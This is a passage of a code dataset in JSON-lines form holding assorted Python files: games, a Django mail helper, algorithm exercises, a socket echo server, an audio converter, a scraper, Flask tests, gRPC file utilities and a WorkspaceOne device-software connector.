NotAPlayerException\nfrom random import shuffle\nimport sys\n\nPLAYERS = ['X', 'O']\n\ndef get_all_legal_moves(board): # get all possible moves in a given board\n legal_moves = []\n for x, row in enumerate(board):\n for y, val in enumerate(row):\n if val is None: # if space is empty\n legal_moves.append((x, y)) # we add the coordinates to the list\n shuffle(legal_moves) # shuffle the list so that the computers do not always have the same opening move\n return legal_moves\n\ndef get_opponent(current_player):\n if current_player == PLAYERS[0]:\n return PLAYERS[1]\n elif current_player == PLAYERS[1]:\n return PLAYERS[0]\n else:\n raise NotAPlayerException(current_player)\n \ndef print_help(table):\n print(\"Welcome to the help section of this TicTacToe program!\")\n print(\"How to use this program?\")\n print(\"- If you want to battle an AI yourself, enter 'main.py' in the terminal and more instructions will be prompted.\")\n print(\"- If you want AIs to battle themselves, enter 'main.py battles ai1 ai2' in the terminal, where ai1 and ai2\", end='')\n print(\" are the names of the AIs you want to send to battle. Adding 'save' to this command will save the results to the database.\")\n print(\"Here are all the AIs available:\")\n for algo in table.keys():\n print(\"---> \", end='')\n print(algo)\n\ndef get_input(str):\n try:\n x = input(str)\n except KeyboardInterrupt:\n print('')\n print(\"----------------------------------------\")\n print(\"Exiting... Bye!\")\n print(\"----------------------------------------\")\n sys.exit(0)\n \n return x","repo_name":"Fastrings/TicTacToeAI","sub_path":"src/other/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1700,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"44128702625","text":"from django.contrib.auth.tokens import default_token_generator\nfrom django.core.mail import send_mail\n\nfrom api_yamdb.settings import EMAIL_HOST_USER\n\n\ndef send_confirmation_code(user):\n user.confirmation_code = default_token_generator.make_token(user)\n subject = 'Код подтверждения YaMDB'\n message = f'Ваш код для авторизации на YaMDB - {user.confirmation_code}'\n from_email = EMAIL_HOST_USER\n to_email = [user.email]\n return send_mail(subject, message, from_email, to_email)\n","repo_name":"RaileyHartheim/api_yamdb","sub_path":"api_yamdb/api/confirmation.py","file_name":"confirmation.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"25217486052","text":"# https://leetcode.com/problems/integer-to-roman/\n# tags: #hash_table, #math, #string\n#\n# Solution: Dictionary - numbers to roman\n# Make an equivalence table or dictionary with each conversion and reverse iterate until number == 0\n# Time Complexity: O(3*(n of digits) + 1) => O(log(n) base 10), Space complexity: O(log(n) base 10)\nclass Solution:\n def intToRoman(self, num: int) -> str:\n value_to_symbol = [(1, \"I\"), (4, \"IV\"), (5, \"V\"), (9, \"IX\"),\n (10, \"X\"), (40, \"XL\"), (50, \"L\"), (90, \"XC\"),\n (100, \"C\"), (400, \"CD\"), (500, \"D\"), (900, \"CM\"), (1000, \"M\")]\n n = len(value_to_symbol)\n i = n - 1\n roman = \"\"\n\n while num > 0:\n while value_to_symbol[i][0] > num:\n i -= 1\n\n roman += value_to_symbol[i][1]\n num -= value_to_symbol[i][0]\n\n return roman\n\n\nif __name__ == \"__main__\":\n sol = Solution()\n print(sol.intToRoman(num=58)) # \"LVIII\"\n print(sol.intToRoman(num=1994)) # \"MCMXCIV\"\n","repo_name":"ronelzb/leetcode","sub_path":"string/0012_integer_to_roman.py","file_name":"0012_integer_to_roman.py","file_ext":"py","file_size_in_byte":1037,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"72525370921","text":"# --------------------------- PROBLEM 25 (HARD)-------------------------------#\n# Given an array of size n that has the following specifications: \n\n# Each element in the array contains either a policeman or a thief.\n# Each policeman can catch only one thief.\n# A policeman cannot catch a thief who is more than K units away from the policeman.\n# We need to find the maximum number of thieves that can be caught.\n# Examples: \n \n\n# Input : arr[] = {'P', 'T', 'T', 'P', 'T'},\n# k = 1.\n# Output : 2.\n# Here maximum 2 thieves can be caught, first\n# policeman catches first thief and second police-\n# man can catch either second or third thief.\n\n# Input : arr[] = {'T', 'T', 'P', 'P', 'T', 'P'}, \n# k = 2.\n# Output : 3.\n\n# Input : arr[] = {'P', 'T', 'P', 'T', 'T', 'P'},\n# k = 3.\n# Output : 3.\n\n# ----------------METHOD 01---------------------#\n# COMPLEXITY = TIME: O(n), SPACE: O(1)\ndef catch_the_theif(arr, k):\n\tpolice = [idx for idx, ele in enumerate(arr) if ele == 'P']\n\ttheif = [idx for idx, ele in enumerate(arr) if ele == 'T']\n\n\tp = 0\n\tt = 0\n\ttheif_caught = 0\n\twhile(p < len(police) and t < len(theif)):\n\t\tif abs(police[p] - theif[t] <= k):\n\t\t\ttheif_caught += 1\n\t\t\tp += 1\n\t\t\tt += 1\n\t\telif theif[t] < police[p]:\n\t\t\tt += 1\n\t\telse:\n\t\t\tp += 1\n\treturn theif_caught\n# ----------------METHOD 01---------------------#\n","repo_name":"CodeInDna/Algo_with_Python","sub_path":"02_Medium/26_Police_Theif_Problem/PoliceTheifProblem.py","file_name":"PoliceTheifProblem.py","file_ext":"py","file_size_in_byte":1347,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"26241168242","text":"import socket\nimport time\nimport pickle\nimport json\n\nHOST = \"127.0.0.1\" # The server's hostname or IP address\nPORT = 65432 # The port used by the server\n\n##while(True):\n#with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n# while(True):\n# s.connect((HOST, PORT))\n# #s.sendall(b\"Hello, world\")\n# #s.sendall(array)\n# arr1 = [1,2,3,4]\n# arr2 = [0,1]\n# data = json.dumps({\"arr1\": arr1, \"arr2\": arr2})\n# s.send(data.encode())\n# #data = s.recv(1024)\n# #data_arr = json.loads(data.decode())\n \n# print(f\"Received {data!r}\")\n# time.sleep(1)\n# s.close()\n \n# echo-server.py\n\n# ...\n\nwith socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n s.bind((HOST, PORT))\n s.listen()\n conn, addr = s.accept()\n with conn:\n print(f\"Connected by {addr}\")\n while True:\n data = conn.recv(1024)\n if not data:\n break\n conn.sendall(data)","repo_name":"kieran-nichols/Dancing_with_lights","sub_path":"src/Old/Send_socket.py","file_name":"Send_socket.py","file_ext":"py","file_size_in_byte":997,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"33497381458","text":"#import random\n#nom = input(\"donne moi tous les noms afin que je choississe pour vous \")\n#noms =nom.split(\",\")\n# x=len(noms)\n#i = random.randint(0,x)\n#print(noms[i]+\" va tout payer lol \")\nrows1 = [\"🧐\", \"🧐\", \"🧐\"]\nrows2 = [\"😎\", \"😎\", \"😎\"]\nrows3 = [\"🤔\", \"🤔\", \"🤔\"]\nmap = [rows1, rows2, rows3]\n\n\njoueur1 = input(\"Player 1 what's your name \\n\\n\")\njoueur2 = input(\"Player 2 what's your name \\n\\n\")\n\nprint(f\"{rows1}\\n{rows2}\\n{rows3}\")\n\nprint(f\" ===== {joueur1} Hide your treasure === \\n \")\nligne = (int(input(\"inform the colone where you want to hide your treasure \"))) % 4\ncolonne = (\n int(input(\"fill in the line where you want to hide your treasure \"))) % 4\nmap[colonne-1][ligne-1] = \"X\"\n\ncompteur = 0\n\n\nprint(f\"=== {joueur2} you have 3 chances to find the treasure of {joueur1} === \")\nwhile(compteur < 3):\n ligne1 = (\n int(input(\"inform the colone where you want to look for the treasure \"))) % 4\n colon1 = (\n int(input(\"fill in the line where you want to look for the treasure \"))) % 4\n\n if (ligne == ligne1 and colonne == colon1):\n print(f\" Good game!!!\\n\\n {rows1}\\n{rows2}\\n{rows3}\")\n import sys\n sys.exit()\n else:\n print(f\"{joueur2} try again! \")\n compteur = compteur+1\nprint(f\"Pity {joueur1} hid his treasure well\")\n","repo_name":"jouahibou/Python-Jeux-","sub_path":"find a treasure.py","file_name":"find a treasure.py","file_ext":"py","file_size_in_byte":1311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"73871330599","text":"from os import listdir\nfrom os.path import isfile, join\nfrom pydub import AudioSegment\nimport shutil\nimport time\n\"\"\"\n\nHOW TO USE\nFrom TERMINAL cd Directory and Copy\nArguments :\n(1) File Directories \n(2) Export Directories\n(3) Convert Format (.mp3)\n\nExecute\n```\n from getFileList import ConvertAll\n Convertall(1,2,3)\n```\n\n\nTo Easy Run, Put all files on FILES and MP3 will put putted on AlbumEditor and Successful converted file will be moved to converted files\n\"\"\"\nFromDIR='/Volumes/version2/Third/Visual Studio Code /Python/audioConvert/RAW Files'\nMoveDIR='/Volumes/version2/Third/Visual Studio Code /Python/audioConvert/converted'\n# FailedDir='/Volumes/version2/Third/Visual Studio Code /Python/audioConvert/convertedFailed'\n\nclass ConvertAll():\n def __init__(self, FilesDirectories,MoveDIRF, exportDirectories,convertFormat):\n # FilesDirectories = \n dir = FilesDirectories.replace('\\ ', \" \")\n self.convertFormat = convertFormat\n self.exportFrom = dir\n self.exportTo = exportDirectories\n self.countN = 0\n self.MoveDIR = MoveDIRF\n self.GetFiles()\n self.FailedDir = '/Volumes/version2/Third/Visual Studio Code /Python/audioConvert/convertedFailed'\n \n\n def GetFiles(self):\n self.FileList = [f for f in listdir(self.exportFrom) if isfile(join(self.exportFrom, f))]\n for eachFile in self.FileList:\n time.sleep(0.2)\n try:\n # print(eachFile)\n # fileType = eachFile.split('.')[1]\n fileType = eachFile[-3:]\n # print(eachFile,fileType)\n self.convertFile(eachFile,fileType)\n\n except Exception as e:\n print(e)\n pass\n print('\\n')\n\n def convertFile(self,fileName,fileType):\n try:\n # print(join(self.exportFrom,fileName),'\\n')\n # print(join(self.exportFrom,fileName), fileType )\n \n convertedFile = AudioSegment.from_file(join(self.exportFrom,fileName), format=fileType )\n # print(convertedFile)\n print('Success: Converted',fileType)\n # print(fileName)\n # print(fileName[:-3])\n # print(self.convertFormat)\n # print(join(self.exportTo,fileName[:-3])+self.convertFormat)\n # print()\n convertedFile.export(join(self.exportTo,fileName.split('.')[0])+'.'+self.convertFormat, format=self.convertFormat)\n # print('Initial Convertion Done',convertedFile)\n # ****\n # convertedFile.export(join(self.exportTo,fileName[:-3])+self.convertFormat, format=self.convertFormat)\n print(' Success Exported')\n return\n print('Moving..')\n self.countN+=1\n shutil.move(self.exportFrom+'/'+fileName,MoveDIR)\n print('Done', self.countN)\n except Exception as e:\n print('Failed: ',fileType)\n # print('\\nFailed',e)\n # shutil.move(self.exportFrom+'/'+fileName,self.FailedDir)\n\nConvertAll(FromDIR,MoveDIR,'/Volumes/version2/Third/Visual Studio Code /Python/audioConvert/ExportedFiles','mp3')","repo_name":"dayojohn19/AudioConverter","sub_path":"archives/ConvertRawFiles.py","file_name":"ConvertRawFiles.py","file_ext":"py","file_size_in_byte":3181,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"35794679029","text":"import base64\n\nimport arrow\nfrom lib.connector import AssetsConnector\n\n\nclass Connector(AssetsConnector):\n \"\"\"\n WorkspaceOne Device Plus Device Software connector\n \"\"\"\n MappingName = 'workspaceone_devicesoftware'\n Settings = {\n 'client_id': {'order': 1, 'example': '', 'default': \"\"},\n 'client_secret': {'order': 2, 'example': '', 'default': \"\"},\n 'subdomain': {'order': 3, 'example': 'https://.awmdm.com the subdomain is between < and >', 'default': \"\"},\n 'region': {'order': 4, 'example': 'na or uat or apac, etc', 'default': \"\"}\n }\n\n def __init__(self, section, settings):\n super(Connector, self).__init__(section, settings)\n self.apps_list_url = 'https://{subdomain}.awmdm.com/api/mam/apps/search?page={page}&pageSize=100'\n self.devices_list_url = 'https://{subdomain}.awmdm.com/api/mdm/devices/search?page={page}&pageSize=100'\n self.devices_per_app_url = 'https://{subdomain}.awmdm.com/api/mam/apps/{app_id}/devices?isinstalled=true'\n self.access_token_url = 'https://{region}.uemauth.vmwservices.com/connect/token'\n\n self.workspace_one_access_token = \"\"\n self.workspace_one_expires_in = 0.0\n\n self.apps_cache_dict = {}\n self.devices_per_app_map = {}\n\n def get_headers(self):\n if round(arrow.utcnow().float_timestamp) > self.workspace_one_expires_in:\n self.get_access_token(self.settings.get('client_id', ''),\n self.settings.get('client_secret', ''),\n self.settings.get('region', ''))\n return {'Accept': 'application/json',\n 'Authorization': f'Bearer {self.workspace_one_access_token}'}\n\n def get_access_token(self, client_id, client_secret, region):\n if not client_id or not client_secret or not region:\n return\n\n # Create the base64 client_id and client_secret token and grab an Access Token\n base64_token = base64.b64encode(':'.encode().join(\n (client_id.encode(), client_secret.encode())\n )).decode()\n token_url = self.access_token_url.format(region=region)\n\n basic_auth_headers = {\n 'Authorization': 'Basic {0}'.format(base64_token),\n 'Content-Type': 'application/x-www-form-urlencoded'\n }\n\n json_response = self.post(token_url, data={'grant_type': 'client_credentials'},\n headers=basic_auth_headers, post_as_json=False).json()\n\n self.workspace_one_access_token = json_response.get('access_token', '')\n self.workspace_one_expires_in = round(arrow.utcnow().float_timestamp) + json_response.get('expires_in', 3600) # expires in 1hr according to docs\n\n def populate_apps_cache(self, subdomain):\n # First step, grab all the software/apps from workspace one.\n iteration = 0\n while True:\n formatted_url = self.apps_list_url.format(subdomain=subdomain, page=iteration)\n response = self.get(formatted_url)\n if response.status_code != 200: # WorkspaceOne returns a 204 when there is no more content.\n if iteration == 0:\n self.logger.info(\"No software detected for devices.\")\n break\n _apps_list = response.json().get('Application', [])\n\n for _app in _apps_list:\n _app_id_value = ''\n if _app.get('Uuid'):\n _app_id_value = _app.get('Uuid')\n\n if _app_id_value:\n self.apps_cache_dict[_app_id_value] = {'name': _app.get('ApplicationName'), 'version': _app.get('AppVersion')}\n iteration += 1\n\n def generate_device_app_cache(self, subdomain):\n \"\"\" Map the app id to all the devices this app is installed on. \"\"\"\n for app_id, _ in self.apps_cache_dict.items():\n formatted_url = self.devices_per_app_url.format(subdomain=subdomain, app_id=app_id)\n response = self.get(formatted_url)\n\n if response.status_code == 200: # WorkspaceOne returns a 204 when there is no more content.\n app_on_devices = response.json().get('devices', [])\n for device in app_on_devices:\n device_id = device.get('device_id')\n if device_id in self.devices_per_app_map:\n self.devices_per_app_map[device_id].append(app_id)\n else:\n self.devices_per_app_map[device_id] = [app_id]\n\n def yield_devices_with_software(self, subdomain):\n iteration = 0\n while True:\n formatted_url = self.devices_list_url.format(subdomain=subdomain, page=iteration)\n response = self.get(formatted_url)\n\n if response.status_code != 200:\n break\n\n devices = response.json().get('Devices', [])\n for device in devices:\n device_id = \"\"\n if type(device.get('Id')) == dict:\n device_id = device.get('Id').get('Value')\n\n device['APPLICATIONS'] = [\n self.apps_cache_dict.get(app_id)\n for app_id in self.devices_per_app_map.get(device_id, '')\n if self.apps_cache_dict and app_id\n ]\n\n yield device\n iteration += 1\n\n def _load_records(self, options):\n self.get_access_token(self.settings.get('client_id', ''),\n self.settings.get('client_secret', ''),\n self.settings.get('region', ''))\n subdomain = self.settings.get('subdomain', '')\n if subdomain:\n self.populate_apps_cache(subdomain)\n self.generate_device_app_cache(subdomain)\n for device_with_software in self.yield_devices_with_software(subdomain):\n yield device_with_software\n else:\n self.logger.warning(\"No subdomain supplied. Can not run. Exiting.\")\n","repo_name":"Oomnitza/oomnitza-connector","sub_path":"connectors/workspaceone_devicesoftware.py","file_name":"workspaceone_devicesoftware.py","file_ext":"py","file_size_in_byte":6012,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"18"} +{"seq_id":"14335768855","text":"from django.contrib import admin\nfrom django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('set/', views.setcookie, name='set'),\n path('get/', views.getcookie, name='get'),\n path('del/', views.delcookie, name='del'),\n path('sessiondemo/', views.my_other_view, name='sessiondemo'),\n path('deletesession/', views.my_third_view, name='deletesession')\n ]\n","repo_name":"dharnashukla94/cakeproject","sub_path":"cookieDemo/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"17513073116","text":"import requests\nfrom bs4 import BeautifulSoup\nfrom time import time\n\n\ndef get_web_dom():\n res = requests.get(\n \"http://image.baidu.com/search/index?tn=baiduimage&ps=1&ct=201326592&lm=-1&cl=2&nc=1&ie=utf-8&word=%E8%A1%A8%E6%83%85\")\n return BeautifulSoup(res.content)\n\n\ndef main():\n dom = get_web_dom()\n imgs = dom.select(\"img\")\n # imgs_url=map(lambda x:x.src,imgs)\n # print(type(imgs))\n # print(imgs)\n for img in imgs:\n url=img.get('src')\n print(url)\n res=requests.get(f'http:{url}')\n if res:\n with open(f'download/{time()}.jpg', 'wb') as f:\n f.write(res.content)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Trubasa/my-python-100","sub_path":"day-014/打开百度图片并批量下载图片.py","file_name":"打开百度图片并批量下载图片.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"33726816849","text":"# For changing SC-SfMLearner and DF-VO to euler form\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy.spatial.transform import Rotation as R\n\n# set directory\nfin = open('/home/jaun/Downloads/SC-SfMLearner-Release-master/scripts/vo_results/17.txt')\nfout = open('/home/jaun/glass_straight_SC.txt', \"wt\")\n\n\n\ndef to_4x4(pose3x4):\n pose4D = np.eye(4, dtype = np.float64)\n pose4D[:3,:] = pose3x4\n return np.matrix(pose4D)\n\ndef SE2se(SE_data):\n \"\"\"\n Converts a relative pose matrix (4x4)\n to euler format (1x6)\n \"\"\"\n def SO2so(SO_data):\n return R.from_dcm(SO_data).as_rotvec()\n\n result = np.zeros((6))\n result[0:3] = SO2so(SE_data[0:3,0:3]).T\n result[3:6] = np.array(SE_data[0:3,3].T)\n return result\n\ndef rel_snips2abs(poses):\n output_poses = []\n pose = np.matrix(np.eye(4))\n kate = 0\n for i, snippet in enumerate(poses): # for every snippet,\n kate += 1\n #multiply second relpose in snippet with prevpose\n pose = pose * to_4x4(snippet[1])\n pose1x6 = SE2se(pose)\n output_poses.append(pose1x6)\n return np.array(output_poses)\n print(kate)\n\nfor line in fin:\n linei = line.split()\n line_i = np.array(linei).reshape(3,4)\n a = to_4x4(line_i)\n b = SE2se(a)\n b = [\"%1.19f\" % member for member in b]\n print(*b, sep=', ', file=fout)\n\nfout.close()\n\n","repo_name":"julee24/testVO_OwnData","sub_path":"tools/rotation_to_euler.py","file_name":"rotation_to_euler.py","file_ext":"py","file_size_in_byte":1359,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"33781940421","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\nplt.style.use('bmh')\r\n\r\n#function to build integral of\r\ndef f(x):\r\n\treturn np.exp(-x**2)\r\n\r\ndef init(initVal):\r\n global rand\r\n rand = initVal\r\n\r\ndef generate_random(a,m,c):\r\n global rand\r\n rand = (a*rand+c)%m\r\n return rand\r\n\r\ndef rejectionmethod(a,m,c,initVal,steps):\r\n\t# initialize with any starting value\r\n\tinit(initVal)\r\n\t\r\n\t# Create Random number distribution\r\n\tr_i = np.array([])\r\n\tfor i in range(steps):\r\n\t\ttmpr = generate_random(a,m,c)/(m-1) # random array\r\n\t\tx_i = xa + (xb-xa)*tmpr\r\n\t\tr_i = np.append(x_i,r_i)\r\n\t\t\r\n\treturn r_i\r\n\r\n###################### Input Parameters #######################\r\na = 2e16+3\r\nm = 2e31\r\nc = 0\r\ninitVal = 1\r\nsteps1 = int(1e4) \t#Iterations\r\nxa, xb = -5,5\t\t#Integrationboundaries\r\n###############################################################\r\nr1 = rejectionmethod(a, m, c, initVal, steps1)\r\n\r\nI = np.sum(f(r1))/len(r1)*(xb-xa)\r\n\r\nplt.figure(figsize=(11,5))\r\nplt.tight_layout()\r\n\r\nplt.subplot(111)\r\nplt.title('n = {}'.format(len(r1)))\r\nplt.scatter(r1,f(r1),label=I)\r\nplt.legend()\r\nplt.show()","repo_name":"MauriceDonner/CompPhys","sub_path":"10_Exerc/ex2-1-1.py","file_name":"ex2-1-1.py","file_ext":"py","file_size_in_byte":1099,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"71009383399","text":"\"\"\"Basic config for Tests.\"\"\"\r\n\r\nfrom json import loads\r\nfrom unittest import TestCase\r\nfrom app import create_app\r\nfrom flask import url_for\r\n\r\n\r\nclass TestFlaskBase(TestCase):\r\n \"\"\"Class Base for Test.\"\"\"\r\n\r\n def setUp(self):\r\n \"\"\"\r\n Fixture do method - Method setup\r\n Run before all tests.\r\n \"\"\"\r\n self.app = create_app()\r\n self.app.testing = True\r\n self.app_context = self.app.test_request_context()\r\n self.app_context.push()\r\n self.client = self.app.test_client()\r\n self.app.db.create_all()\r\n self.user = {\r\n 'username': 'test',\r\n 'password': '1234'\r\n }\r\n\r\n\r\n def tearDown(self):\r\n \"\"\"\r\n Fixture do method - Method setup\r\n Run after all tests.\r\n \"\"\"\r\n self.app.db.drop_all()\r\n\r\n\r\n def create_user(self):\r\n \"\"\"Test.\"\"\"\r\n\r\n self.client.post(url_for('user.register'), json=self.user)\r\n\r\n\r\n def generate_token(self):\r\n \"\"\"Test.\"\"\"\r\n login = self.client.post(url_for('login.login'), json=self.user)\r\n\r\n return {\r\n 'Authorization': 'Bearer ' + loads(login.data.decode())['access_token']\r\n }\r\n","repo_name":"Flask-Examples/Tutorial-Authentication-Flask-API-live-82","sub_path":"tests/flask_base_config.py","file_name":"flask_base_config.py","file_ext":"py","file_size_in_byte":1200,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"26182988914","text":"import json\n\ndef getData(fileName):\n try:\n with open(f'data/{fileName}.json', 'r') as f:\n data = json.load(f)\n return data\n except Exception as e:\n print(e)\n\ndef checkFile(fileName):\n try:\n with open(f'data/{fileName}.json', 'r'): \n print('File exists !!')\n pass\n except FileExistsError as e:\n print('Error file Exists')\n print(e)\n except FileNotFoundError as e:\n print('Error FileNotFound')\n print(e)\n with open(f'data/{fileName}.json', 'w') as f:\n json.dump({}, f, indent=4)\n \ndef addData(fileName, newData):\n try:\n with open(f'data/{fileName}.json', 'r') as f:\n oldData = json.load(f) \n print(f'datos Antiguos: {oldData}')\n oldData.update(newData)\n print(f'datos nuevos: {oldData}')\n with open(f'data/{fileName}.json', 'w') as f:\n json.dump(oldData, f, indent=4)\n except Exception as e:\n print(e)\n\ndef deleteData(fileName, data):\n try:\n with open(f'data/{fileName}.json', 'w') as f:\n json.dump(data, f, indent=4)\n except Exception as e:\n print(e)\n \n\n","repo_name":"williamvg93/campus_Examen_Python","sub_path":"model/citas.py","file_name":"citas.py","file_ext":"py","file_size_in_byte":1216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"22090995812","text":"import os\r\nimport time\r\nfrom concurrent import futures\r\n\r\nimport grpc\r\n\r\nimport blocking_pb2\r\nimport blocking_pb2_grpc\r\n\r\n\r\ndef rpc_primary(ip_address, operation, fileid, filename, content):\r\n with grpc.insecure_channel(ip_address) as channel:\r\n stub = blocking_pb2_grpc.ServerStub(channel)\r\n response = stub.Primary(blocking_pb2.PrimaryRequest(\r\n operation=operation,\r\n fileid=fileid,\r\n filename=filename,\r\n content=content\r\n ))\r\n return response\r\n\r\n\r\ndef rpc_server_write(ip_address, filename, content, fileid):\r\n with grpc.insecure_channel(ip_address) as channel:\r\n stub = blocking_pb2_grpc.ServerStub(channel)\r\n response = stub.Write(blocking_pb2.WriteRequest(filename=filename, content=content, fileid=fileid))\r\n return response\r\n\r\n\r\ndef rpc_server_delete(ip_address, fileid):\r\n with grpc.insecure_channel(ip_address) as channel:\r\n stub = blocking_pb2_grpc.ServerStub(channel)\r\n response = stub.Delete(blocking_pb2.DeleteRequest(fileid=fileid))\r\n return response\r\n\r\n\r\ndef rpc_client_read(ip_address, fileid):\r\n with grpc.insecure_channel(ip_address) as channel:\r\n stub = blocking_pb2_grpc.ServerStub(channel)\r\n response = stub.ReadReq(blocking_pb2.ReadRequest(fileid=fileid))\r\n return response\r\n\r\n\r\ndef rpc_client_delete(ip_address, fileid):\r\n with grpc.insecure_channel(ip_address) as channel:\r\n stub = blocking_pb2_grpc.ServerStub(channel)\r\n response = stub.DeleteReq(blocking_pb2.DeleteRequest(fileid=fileid))\r\n return response\r\n\r\n\r\ndef rpc_client_write(ip_address, filename, content, fileid):\r\n with grpc.insecure_channel(ip_address) as channel:\r\n stub = blocking_pb2_grpc.ServerStub(channel)\r\n response = stub.WriteReq(blocking_pb2.WriteRequest(filename=filename, content=content, fileid=fileid))\r\n return response\r\n\r\n\r\ndef rpc_registry_get_servers(ip_address):\r\n with grpc.insecure_channel(ip_address) as channel:\r\n stub = blocking_pb2_grpc.RegistryServerStub(channel)\r\n response = stub.GetServerList(blocking_pb2.ServerListRequest())\r\n return response\r\n\r\n\r\ndef read_check(request, name, files):\r\n if not os.path.exists(name):\r\n os.mkdir(name)\r\n\r\n if request.fileid not in files:\r\n return False, blocking_pb2.ReadResponse(\r\n status='FILE DOES NOT EXIST',\r\n filename=\"NULL\",\r\n content=\"NULL\",\r\n version=\"NULL\"\r\n )\r\n\r\n fileid = request.fileid\r\n filename, timestamp = files[fileid]\r\n path = f'{name}/{filename}'\r\n\r\n if not os.path.exists(path):\r\n return False, blocking_pb2.ReadResponse(\r\n status='FILE ALREADY DELETED',\r\n filename=\"NULL\",\r\n content=\"NULL\",\r\n version=\"NULL\"\r\n )\r\n return True, None\r\n\r\n\r\ndef write_check(request, name, files):\r\n filename = request.filename\r\n\r\n path = f'{name}/{filename}'\r\n\r\n if not os.path.exists(name):\r\n os.mkdir(name)\r\n\r\n if request.fileid not in files and os.path.exists(path):\r\n return False, blocking_pb2.WriteResponse(\r\n status='FILE WITH THE SAME NAME ALREADY EXISTS',\r\n fileid=\"NULL\",\r\n version=\"NULL\"\r\n )\r\n\r\n elif request.fileid in files and not os.path.exists(path):\r\n return False, blocking_pb2.WriteResponse(\r\n status='DELETED FILE CANNOT BE UPDATED',\r\n fileid=\"NULL\",\r\n version=\"NULL\"\r\n )\r\n\r\n return True, None\r\n\r\n\r\ndef delete_operation(request, name, files):\r\n if not os.path.exists(name):\r\n os.mkdir(name)\r\n\r\n fileid = request.fileid\r\n filename, timestamp = files[fileid]\r\n path = f'{name}/{filename}'\r\n os.remove(path)\r\n\r\n return blocking_pb2.DeleteResponse(\r\n status='SUCCESS'\r\n )\r\n\r\n\r\ndef read_operation(request, name, files):\r\n if not os.path.exists(name):\r\n os.mkdir(name)\r\n\r\n fileid = request.fileid\r\n filename, timestamp = files[fileid]\r\n path = f'{name}/{filename}'\r\n fp = open(path)\r\n content = fp.read()\r\n fp.close()\r\n\r\n return blocking_pb2.ReadResponse(\r\n status='SUCCESS',\r\n filename=filename,\r\n content=content,\r\n version=timestamp\r\n )\r\n\r\n\r\ndef write_operation(request, name, files):\r\n if not os.path.exists(name):\r\n os.mkdir(name)\r\n\r\n filename = request.filename\r\n fileid = request.fileid\r\n content = request.content\r\n timestamp = str(time.strftime(\"%d/%m/%Y %H:%M:%S\"))\r\n\r\n files[fileid] = (filename, timestamp)\r\n path = f'{name}/{filename}'\r\n\r\n fp = open(path, 'w')\r\n fp.write(content)\r\n fp.close()\r\n\r\n return blocking_pb2.WriteResponse(\r\n status='SUCCESS',\r\n fileid=fileid,\r\n version=timestamp\r\n )\r\n\r\n\r\ndef delete_check(request, name, files):\r\n if not os.path.exists(name):\r\n os.mkdir(name)\r\n\r\n if request.fileid not in files:\r\n return False, blocking_pb2.DeleteResponse(\r\n status='FILE DOES NOT EXIST'\r\n )\r\n\r\n fileid = request.fileid\r\n filename, timestamp = files[fileid]\r\n\r\n if request.fileid in files and not os.path.exists(f'{name}/{filename}'):\r\n return False, blocking_pb2.DeleteResponse(\r\n status='FILE ALREADY DELETED'\r\n )\r\n return True, None\r\n","repo_name":"kanup/Distributed-Systems","sub_path":"Consistency Protocols/PrimaryBackupBlockingProtocol/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5345,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"73192549799","text":"#https://realpython.com/twitter-bot-python-tweepy/\n#https://docs.tweepy.org/en/v3.4.0/install.html\n# link on handling rate limits with cursors:\n# https://github.com/tweepy/tweepy/blob/master/docs/code_snippet.rst#pagination\n#tweepy docs: https://docs.tweepy.org/en/latest/index.html\n\nimport tweepy\nimport tokens\n\nauth = tweepy.OAuthHandler(tokens.consumer_key, tokens.consumer_secret)\nauth.set_access_token(tokens.access_token, tokens.access_token_secret)\n\napi = tweepy.API(auth)\n\npublic_tweets = api.home_timeline()\n\ni = 0\nfor tweet in public_tweets:\n if i > 2:\n break\n else:\n i = i + 1\n print(tweet.text)\n print()\n","repo_name":"Ave-Wat/TwitterNetworkAnalysis","sub_path":"practice_files/tweepy_practice.py","file_name":"tweepy_practice.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"72625825001","text":"import codecs\nimport os\nfrom typing import Union\n\nfrom PyQt5 import QtWidgets\nfrom PyQt5.QtCore import QDir, Qt, QObject\nfrom PyQt5.QtWidgets import QFileDialog\n\nimport tcp_udp_web_ui\nimport socket\nimport threading\nimport sys\nimport stopThreading\nfrom callscan import MyDialog\nfrom constant import Constant\nimport binascii\nimport struct\n\nfrom scan import Ui_Dialog\n\n\nclass TcpLogic(tcp_udp_web_ui.ToolsUi):\n def __init__(self, 